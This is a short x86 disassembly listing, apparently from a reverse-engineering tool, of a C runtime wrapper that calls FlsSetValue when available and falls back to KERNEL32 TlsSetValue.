push str.FlsSetValue
push 0x22
call fcn.10007833
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007647
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]